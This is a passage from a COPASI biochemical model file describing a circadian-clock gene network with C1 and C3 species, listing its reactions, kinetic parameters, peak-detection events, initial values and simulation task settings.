key="Parameter_4249" name="T2" value="0.1"/> <Constant key="Parameter_4254" name="hill" value="2"/> <Constant key="Parameter_4253" name="kx" value="0.4"/> <Constant key="Parameter_4252" name="vx" value="2"/> </ListOfConstants> <KineticLaw function="Function_56"> <ListOfCallParameters> <CallParameter functionParameter="FunctionParameter_413"> <SourceParameter reference="ModelValue_53"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_424"> <SourceParameter reference="Compartment_3"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_422"> <SourceParameter reference="Parameter_4254"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_418"> <SourceParameter reference="Parameter_4253"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_420"> <SourceParameter reference="Metabolite_43"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_417"> <SourceParameter reference="Parameter_4252"/> </CallParameter> </ListOfCallParameters> </KineticLaw> </Reaction> <Reaction key="Reaction_38" name="K_C3_phos" reversible="false" fast="false"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Reaction_38"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-07T15:45:17Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <ListOfSubstrates> <Substrate metabolite="Metabolite_47" stoichiometry="1"/> </ListOfSubstrates> <ListOfProducts> <Product metabolite="Metabolite_43" stoichiometry="1"/> </ListOfProducts> <ListOfConstants> <Constant key="Parameter_4250" name="T2" value="0.1"/> <Constant key="Parameter_4251" name="vz" value="0.1"/> </ListOfConstants> <KineticLaw function="Function_55"> <ListOfCallParameters> <CallParameter functionParameter="FunctionParameter_414"> <SourceParameter reference="ModelValue_53"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_416"> <SourceParameter reference="Compartment_3"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_412"> <SourceParameter reference="Metabolite_47"/> </CallParameter> <CallParameter functionParameter="FunctionParameter_410"> <SourceParameter reference="Parameter_4251"/> </CallParameter> </ListOfCallParameters> </KineticLaw> </Reaction> </ListOfReactions> <ListOfEvents> <Event key="Event_2" name="Period" fireAtInitialTime="0" persistentTrigger="0"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Event_2"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-11T18:02:57Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <TriggerExpression> &lt;CN=Root,Model=circadianC1C3complex,Reference=Time&gt; gt 160 and &lt;CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[C1_phos],Reference=Concentration&gt; gt 10 and &lt;CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[C1_phos],Reference=Rate&gt; le 0 and &lt;CN=Root,Model=circadianC1C3complex,Vector=Values[peak 1],Reference=Value&gt; eq 0 </TriggerExpression> <ListOfAssignments> <Assignment targetKey="ModelValue_58"> <Expression> &lt;CN=Root,Model=circadianC1C3complex,Reference=Time&gt; </Expression> </Assignment> </ListOfAssignments> </Event> <Event key="Event_3" name="Period 2" fireAtInitialTime="0" persistentTrigger="0"> <MiriamAnnotation> <rdf:RDF xmlns:dcterms="http://purl.org/dc/terms/" xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="#Event_3"> <dcterms:created> <rdf:Description> <dcterms:W3CDTF>2010-10-11T18:03:02Z</dcterms:W3CDTF> </rdf:Description> </dcterms:created> </rdf:Description> </rdf:RDF> </MiriamAnnotation> <TriggerExpression> &lt;CN=Root,Model=circadianC1C3complex,Reference=Time&gt; gt 180 and &lt;CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[C1_phos],Reference=Rate&gt; le 0 and &lt;CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[C1_phos],Reference=Concentration&gt; gt 5 and &lt;CN=Root,Model=circadianC1C3complex,Vector=Values[peak2],Reference=Value&gt; eq 0 </TriggerExpression> <ListOfAssignments> <Assignment targetKey="ModelValue_59"> <Expression> &lt;CN=Root,Model=circadianC1C3complex,Reference=Time&gt; </Expression> </Assignment> </ListOfAssignments> </Event> </ListOfEvents> <ListOfModelParameterSets activeSet="ModelParameterSet_1"> <ModelParameterSet key="ModelParameterSet_1" name="Initial State"> <ModelParameterGroup cn="String=Initial Time" type="Group"> <ModelParameter cn="CN=Root,Model=circadianC1C3complex" value="0" type="Model" simulationType="time"/> </ModelParameterGroup> <ModelParameterGroup cn="String=Initial Compartment Sizes" type="Group"> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default]" value="1" type="Compartment" simulationType="fixed"/> </ModelParameterGroup> <ModelParameterGroup cn="String=Initial Species Values" type="Group"> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[C3_Gene]" value="602214150000000.1" type="Species" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[C3_mRNA]" value="0" type="Species" simulationType="reactions"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[C_3]" value="0" type="Species" simulationType="reactions"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[C_3_P]" value="0" type="Species" simulationType="reactions"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[C_3_pre]" value="0" type="Species" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[C1]" value="0" type="Species" simulationType="reactions"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[C1_mRNA]" value="602214150000000.1" type="Species" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[C1_phos]" value="0" type="Species" simulationType="reactions"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[c1c3complex]" value="0" type="Species" simulationType="reactions"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[K_C1]" value="0" type="Species" simulationType="reactions"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[K_C1_P]" value="0" type="Species" simulationType="reactions"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[K_C3_P]" value="0" type="Species" simulationType="reactions"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[K_complex]" value="0" type="Species" simulationType="reactions"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[K_C3]" value="0" type="Species" simulationType="reactions"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[K_C3_mRNA]" value="0" type="Species" simulationType="reactions"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[K_C3_pre]" value="0" type="Species" simulationType="reactions"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Compartments[default],Vector=Metabolites[junk]" value="0" type="Species" simulationType="reactions"/> </ModelParameterGroup> <ModelParameterGroup cn="String=Initial Global Quantities" type="Group"> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Values[T]" value="1" type="ModelValue" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Values[T2]" value="2" type="ModelValue" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Values[aphase]" value="0" type="ModelValue" simulationType="assignment"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Values[v7]" value="3.025" type="ModelValue" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Values[k7]" value="2" type="ModelValue" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Values[peak 1]" value="0" type="ModelValue" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Values[peak2]" value="0" type="ModelValue" simulationType="fixed"/> </ModelParameterGroup> <ModelParameterGroup cn="String=Kinetic Parameters" type="Group"> <ModelParameterGroup cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C3_phos]" type="Reaction"> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C3_phos],ParameterGroup=Parameters,Parameter=vz" value="0.1" type="ReactionParameter" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C3_phos],ParameterGroup=Parameters,Parameter=T2" value="2" type="ReactionParameter" simulationType="assignment"> <InitialExpression> &lt;CN=Root,Model=circadianC1C3complex,Vector=Values[T2],Reference=InitialValue&gt; </InitialExpression> </ModelParameter> </ModelParameterGroup> <ModelParameterGroup cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C3_transk]" type="Reaction"> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C3_transk],ParameterGroup=Parameters,Parameter=hill" value="2" type="ReactionParameter" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C3_transk],ParameterGroup=Parameters,Parameter=vx" value="2" type="ReactionParameter" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C3_transk],ParameterGroup=Parameters,Parameter=kx" value="0.4" type="ReactionParameter" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C3_transk],ParameterGroup=Parameters,Parameter=T2" value="2" type="ReactionParameter" simulationType="assignment"> <InitialExpression> &lt;CN=Root,Model=circadianC1C3complex,Vector=Values[T2],Reference=InitialValue&gt; </InitialExpression> </ModelParameter> </ModelParameterGroup> <ModelParameterGroup cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C3_mRNADegr]" type="Reaction"> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C3_mRNADegr],ParameterGroup=Parameters,Parameter=vxdegr" value="3.025" type="ReactionParameter" simulationType="assignment"> <InitialExpression> &lt;CN=Root,Model=circadianC1C3complex,Vector=Values[v7],Reference=InitialValue&gt; </InitialExpression> </ModelParameter> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C3_mRNADegr],ParameterGroup=Parameters,Parameter=kxdegr" value="2" type="ReactionParameter" simulationType="assignment"> <InitialExpression> &lt;CN=Root,Model=circadianC1C3complex,Vector=Values[k7],Reference=InitialValue&gt; </InitialExpression> </ModelParameter> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C3_mRNADegr],ParameterGroup=Parameters,Parameter=T2" value="2" type="ReactionParameter" simulationType="assignment"> <InitialExpression> &lt;CN=Root,Model=circadianC1C3complex,Vector=Values[T2],Reference=InitialValue&gt; </InitialExpression> </ModelParameter> </ModelParameterGroup> <ModelParameterGroup cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C3_degr]" type="Reaction"> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C3_degr],ParameterGroup=Parameters,Parameter=vydegr" value="2.2" type="ReactionParameter" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C3_degr],ParameterGroup=Parameters,Parameter=kydegr" value="0.2" type="ReactionParameter" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C3_degr],ParameterGroup=Parameters,Parameter=T2" value="2" type="ReactionParameter" simulationType="assignment"> <InitialExpression> &lt;CN=Root,Model=circadianC1C3complex,Vector=Values[T2],Reference=InitialValue&gt; </InitialExpression> </ModelParameter> </ModelParameterGroup> <ModelParameterGroup cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C3_phos_degr]" type="Reaction"> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C3_phos_degr],ParameterGroup=Parameters,Parameter=vzdegr" value="1.5" type="ReactionParameter" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C3_phos_degr],ParameterGroup=Parameters,Parameter=kzdegr" value="1.4" type="ReactionParameter" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C3_phos_degr],ParameterGroup=Parameters,Parameter=T2" value="2" type="ReactionParameter" simulationType="assignment"> <InitialExpression> &lt;CN=Root,Model=circadianC1C3complex,Vector=Values[T2],Reference=InitialValue&gt; </InitialExpression> </ModelParameter> </ModelParameterGroup> <ModelParameterGroup cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C3_transl]" type="Reaction"> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C3_transl],ParameterGroup=Parameters,Parameter=vy" value="0.3" type="ReactionParameter" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C3_transl],ParameterGroup=Parameters,Parameter=T2" value="2" type="ReactionParameter" simulationType="assignment"> <InitialExpression> &lt;CN=Root,Model=circadianC1C3complex,Vector=Values[T2],Reference=InitialValue&gt; </InitialExpression> </ModelParameter> </ModelParameterGroup> <ModelParameterGroup cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C1_transl]" type="Reaction"> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C1_transl],ParameterGroup=Parameters,Parameter=T2" value="2" type="ReactionParameter" simulationType="assignment"> <InitialExpression> &lt;CN=Root,Model=circadianC1C3complex,Vector=Values[T2],Reference=InitialValue&gt; </InitialExpression> </ModelParameter> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C1_transl],ParameterGroup=Parameters,Parameter=k" value="4" type="ReactionParameter" simulationType="fixed"/> </ModelParameterGroup> <ModelParameterGroup cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[complexformation]" type="Reaction"> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[complexformation],ParameterGroup=Parameters,Parameter=k" value="20" type="ReactionParameter" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[complexformation],ParameterGroup=Parameters,Parameter=T2" value="2" type="ReactionParameter" simulationType="assignment"> <InitialExpression> &lt;CN=Root,Model=circadianC1C3complex,Vector=Values[T2],Reference=InitialValue&gt; </InitialExpression> </ModelParameter> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[complexformation],ParameterGroup=Parameters,Parameter=a" value="2" type="ReactionParameter" simulationType="fixed"/> </ModelParameterGroup> <ModelParameterGroup cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C1_phos]" type="Reaction"> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C1_phos],ParameterGroup=Parameters,Parameter=Km" value="0.2" type="ReactionParameter" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C1_phos],ParameterGroup=Parameters,Parameter=V" value="4" type="ReactionParameter" simulationType="fixed"/> </ModelParameterGroup> <ModelParameterGroup cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C1_degr]" type="Reaction"> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C1_degr],ParameterGroup=Parameters,Parameter=V_deg" value="16" type="ReactionParameter" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C1_degr],ParameterGroup=Parameters,Parameter=T2" value="2" type="ReactionParameter" simulationType="assignment"> <InitialExpression> &lt;CN=Root,Model=circadianC1C3complex,Vector=Values[T2],Reference=InitialValue&gt; </InitialExpression> </ModelParameter> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C1_degr],ParameterGroup=Parameters,Parameter=k_deg" value="20" type="ReactionParameter" simulationType="fixed"/> </ModelParameterGroup> <ModelParameterGroup cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C1_degr]" type="Reaction"> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C1_degr],ParameterGroup=Parameters,Parameter=V_deg" value="16" type="ReactionParameter" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C1_degr],ParameterGroup=Parameters,Parameter=T2" value="1" type="ReactionParameter" simulationType="assignment"> <InitialExpression> &lt;CN=Root,Model=circadianC1C3complex,Vector=Values[T],Reference=InitialValue&gt; </InitialExpression> </ModelParameter> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C1_degr],ParameterGroup=Parameters,Parameter=k_deg" value="20" type="ReactionParameter" simulationType="fixed"/> </ModelParameterGroup> <ModelParameterGroup cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C1_phos]" type="Reaction"> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C1_phos],ParameterGroup=Parameters,Parameter=Km" value="0.2" type="ReactionParameter" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C1_phos],ParameterGroup=Parameters,Parameter=V" value="4" type="ReactionParameter" simulationType="fixed"/> </ModelParameterGroup> <ModelParameterGroup cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_complexf]" type="Reaction"> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_complexf],ParameterGroup=Parameters,Parameter=k" value="20" type="ReactionParameter" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_complexf],ParameterGroup=Parameters,Parameter=a" value="2" type="ReactionParameter" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_complexf],ParameterGroup=Parameters,Parameter=T2" value="1" type="ReactionParameter" simulationType="assignment"> <InitialExpression> &lt;CN=Root,Model=circadianC1C3complex,Vector=Values[T],Reference=InitialValue&gt; </InitialExpression> </ModelParameter> </ModelParameterGroup> <ModelParameterGroup cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C1_Transl]" type="Reaction"> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C1_Transl],ParameterGroup=Parameters,Parameter=T2" value="1" type="ReactionParameter" simulationType="assignment"> <InitialExpression> &lt;CN=Root,Model=circadianC1C3complex,Vector=Values[T],Reference=InitialValue&gt; </InitialExpression> </ModelParameter> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C1_Transl],ParameterGroup=Parameters,Parameter=k" value="4" type="ReactionParameter" simulationType="fixed"/> </ModelParameterGroup> <ModelParameterGroup cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C3_tranls]" type="Reaction"> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C3_tranls],ParameterGroup=Parameters,Parameter=T2" value="1" type="ReactionParameter" simulationType="assignment"> <InitialExpression> &lt;CN=Root,Model=circadianC1C3complex,Vector=Values[T],Reference=InitialValue&gt; </InitialExpression> </ModelParameter> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C3_tranls],ParameterGroup=Parameters,Parameter=vy" value="0.3" type="ReactionParameter" simulationType="fixed"/> </ModelParameterGroup> <ModelParameterGroup cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C3_phos_degr]" type="Reaction"> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C3_phos_degr],ParameterGroup=Parameters,Parameter=T2" value="1" type="ReactionParameter" simulationType="assignment"> <InitialExpression> &lt;CN=Root,Model=circadianC1C3complex,Vector=Values[T],Reference=InitialValue&gt; </InitialExpression> </ModelParameter> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C3_phos_degr],ParameterGroup=Parameters,Parameter=kzdegr" value="1.4" type="ReactionParameter" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C3_phos_degr],ParameterGroup=Parameters,Parameter=vzdegr" value="1.5" type="ReactionParameter" simulationType="fixed"/> </ModelParameterGroup> <ModelParameterGroup cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C3_degr]" type="Reaction"> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C3_degr],ParameterGroup=Parameters,Parameter=T2" value="1" type="ReactionParameter" simulationType="assignment"> <InitialExpression> &lt;CN=Root,Model=circadianC1C3complex,Vector=Values[T],Reference=InitialValue&gt; </InitialExpression> </ModelParameter> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C3_degr],ParameterGroup=Parameters,Parameter=kxdegr" value="0.2" type="ReactionParameter" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C3_degr],ParameterGroup=Parameters,Parameter=vxdegr" value="2.2" type="ReactionParameter" simulationType="fixed"/> </ModelParameterGroup> <ModelParameterGroup cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_mRNAdegr]" type="Reaction"> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_mRNAdegr],ParameterGroup=Parameters,Parameter=T2" value="1" type="ReactionParameter" simulationType="assignment"> <InitialExpression> &lt;CN=Root,Model=circadianC1C3complex,Vector=Values[T],Reference=InitialValue&gt; </InitialExpression> </ModelParameter> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_mRNAdegr],ParameterGroup=Parameters,Parameter=kxdegr" value="2" type="ReactionParameter" simulationType="assignment"> <InitialExpression> &lt;CN=Root,Model=circadianC1C3complex,Vector=Values[k7],Reference=InitialValue&gt; </InitialExpression> </ModelParameter> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_mRNAdegr],ParameterGroup=Parameters,Parameter=vxdegr" value="3.025" type="ReactionParameter" simulationType="assignment"> <InitialExpression> &lt;CN=Root,Model=circadianC1C3complex,Vector=Values[v7],Reference=InitialValue&gt; </InitialExpression> </ModelParameter> </ModelParameterGroup> <ModelParameterGroup cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C3_transk]" type="Reaction"> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C3_transk],ParameterGroup=Parameters,Parameter=T2" value="1" type="ReactionParameter" simulationType="assignment"> <InitialExpression> &lt;CN=Root,Model=circadianC1C3complex,Vector=Values[T],Reference=InitialValue&gt; </InitialExpression> </ModelParameter> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C3_transk],ParameterGroup=Parameters,Parameter=hill" value="2" type="ReactionParameter" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C3_transk],ParameterGroup=Parameters,Parameter=kx" value="0.4" type="ReactionParameter" simulationType="fixed"/> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C3_transk],ParameterGroup=Parameters,Parameter=vx" value="2" type="ReactionParameter" simulationType="fixed"/> </ModelParameterGroup> <ModelParameterGroup cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C3_phos]" type="Reaction"> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C3_phos],ParameterGroup=Parameters,Parameter=T2" value="1" type="ReactionParameter" simulationType="assignment"> <InitialExpression> &lt;CN=Root,Model=circadianC1C3complex,Vector=Values[T],Reference=InitialValue&gt; </InitialExpression> </ModelParameter> <ModelParameter cn="CN=Root,Model=circadianC1C3complex,Vector=Reactions[K_C3_phos],ParameterGroup=Parameters,Parameter=vz" value="0.1" type="ReactionParameter" simulationType="fixed"/> </ModelParameterGroup> </ModelParameterGroup> </ModelParameterSet> </ListOfModelParameterSets> <StateTemplate> <StateTemplateVariable objectReference="Model_5"/> <StateTemplateVariable objectReference="Metabolite_53"/> <StateTemplateVariable objectReference="Metabolite_25"/> <StateTemplateVariable objectReference="Metabolite_31"/> <StateTemplateVariable objectReference="Metabolite_39"/> <StateTemplateVariable objectReference="Metabolite_43"/> <StateTemplateVariable objectReference="Metabolite_27"/> <StateTemplateVariable objectReference="Metabolite_47"/> <StateTemplateVariable objectReference="Metabolite_23"/> <StateTemplateVariable objectReference="Metabolite_49"/> <StateTemplateVariable objectReference="Metabolite_41"/> <StateTemplateVariable objectReference="Metabolite_35"/> <StateTemplateVariable objectReference="Metabolite_51"/> <StateTemplateVariable objectReference="Metabolite_37"/> <StateTemplateVariable objectReference="Metabolite_45"/> <StateTemplateVariable objectReference="ModelValue_55"/> <StateTemplateVariable objectReference="Metabolite_21"/> <StateTemplateVariable objectReference="Metabolite_29"/> <StateTemplateVariable objectReference="Metabolite_33"/> <StateTemplateVariable objectReference="Compartment_3"/> <StateTemplateVariable objectReference="ModelValue_53"/> <StateTemplateVariable objectReference="ModelValue_54"/> <StateTemplateVariable objectReference="ModelValue_56"/> <StateTemplateVariable objectReference="ModelValue_57"/> <StateTemplateVariable objectReference="ModelValue_58"/> <StateTemplateVariable objectReference="ModelValue_59"/> </StateTemplate> <InitialState type="initialState"> 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 602214150000000.1 0 602214150000000.1 1 1 2 3.025 2 0 0 </InitialState> </Model> <ListOfTasks> <Task key="Task_26" name="Steady-State" type="steadyState" scheduled="false" updateModel="false"> <Report reference="Report_17" target="" append="1" confirmOverwrite="0"/> <Problem> <Parameter name="JacobianRequested" type="bool" value="1"/> <Parameter name="StabilityAnalysisRequested" type="bool" value="1"/> </Problem> <Method name="Enhanced Newton" type="EnhancedNewton"> <Parameter name="Resolution" type="unsignedFloat" value="1e-09"/> <Parameter name="Derivation Factor" type="unsignedFloat" value="0.001"/> <Parameter name="Use Newton" type="bool" value="1"/> <Parameter name="Use Integration" type="bool" value="1"/> <Parameter name="Use Back Integration" type="bool" value="1"/> <Parameter name="Accept Negative Concentrations" type="bool" value="0"/> <Parameter name="Iteration Limit" type="unsignedInteger" value="50"/> <Parameter name="Maximum duration for forward integration" type="unsignedFloat" value="1000000000"/> <Parameter name="Maximum duration for backward integration" type="unsignedFloat" value="1000000"/> </Method> </Task> <Task key="Task_25" name="Time-Course" type="timeCourse" scheduled="true" updateModel="false"> <Report reference="Report_9" target="EventTest15.1.txt" append="0" confirmOverwrite="0"/> <Problem> <Parameter name="StepNumber" type="unsignedInteger" value="10800"/> <Parameter name="StepSize" type="float" value="0.02"/> <Parameter name="Duration" type="float" value="216"/> <Parameter name="TimeSeriesRequested" type="bool" value="1"/> <Parameter name="OutputStartTime" type="float" value="0"/> <Parameter name="Output Event" type="bool" value="0"/> <Parameter name="Continue on Simultaneous Events" type="bool" value="0"/> </Problem> <Method name="Deterministic (LSODA)" type="Deterministic(LSODA)"> <Parameter name="Integrate Reduced Model" type="bool" value="0"/> <Parameter name="Relative Tolerance" type="unsignedFloat" value="1e-08"/> <Parameter name="Absolute Tolerance" type="unsignedFloat" value="1e-12"/> <Parameter name="Max Internal Steps" type="unsignedInteger" value="10000"/> </Method> </Task> <Task key="Task_24" name="Scan" type="scan" scheduled="false" updateModel="false"> <Problem> <Parameter name="Subtask" type="unsignedInteger" value="1"/> <ParameterGroup name="ScanItems"> <ParameterGroup name="ScanItem"> <Parameter name="Maximum" type="float" value="8"/> <Parameter name="Minimum" type="float" value="2"/> <Parameter name="Number of steps" type="unsignedInteger" value="5"/> <Parameter name="Object" type="cn" value="CN=Root,Model=circadianC1C3complex,Vector=Reactions[C1_phos],ParameterGroup=Parameters,Parameter=V,Reference=Value"/> <Parameter name="Type" type="unsignedInteger" value="1"/> <Parameter name="log" type="bool" value="0"/> </ParameterGroup> </ParameterGroup> <Parameter name="Output in subtask" type="bool" value="1"/> <Parameter name="Adjust initial conditions" type="bool" value="0"/> </Problem> <Method name="Scan Framework" type="ScanFramework"> </Method> </Task> <Task key="Task_23" name="Elementary Flux Modes" type="fluxMode" scheduled="false" updateModel="false"> <Report reference="Report_16" target="" append="1" confirmOverwrite="0"/> <Problem> </Problem> <Method name="EFM Algorithm" type="EFMAlgorithm"> </Method> </Task> <Task key="Task_22" name="Optimization" type="optimization" scheduled="false" updateModel="false"> <Report reference="Report_15" target="" append="1" confirmOverwrite="0"/> <Problem> <Parameter name="Subtask" type="cn" value="Vector=TaskList[Steady-State]"/> <ParameterText name="ObjectiveExpression" type="expression"> </ParameterText> <Parameter name="Maximize" type="bool" value="0"/> <Parameter name="Randomize Start Values" type="bool" value="0"/> <Parameter name="Calculate Statistics" type="bool" value="1"/> <ParameterGroup name="OptimizationItemList"> </ParameterGroup> <ParameterGroup name="OptimizationConstraintList"> </ParameterGroup> </Problem> <Method name="Random Search" type="RandomSearch"> <Parameter name="Number of Iterations" type="unsignedInteger" value="100000"/> <Parameter name="Random Number Generator" type="unsignedInteger" value="1"/> <Parameter name="Seed" type="unsignedInteger" value="0"/> </Method> </Task> <Task key="Task_21" name="Parameter Estimation" type="parameterFitting" scheduled="false" updateModel="false"> <Report reference="Report_14" target="" 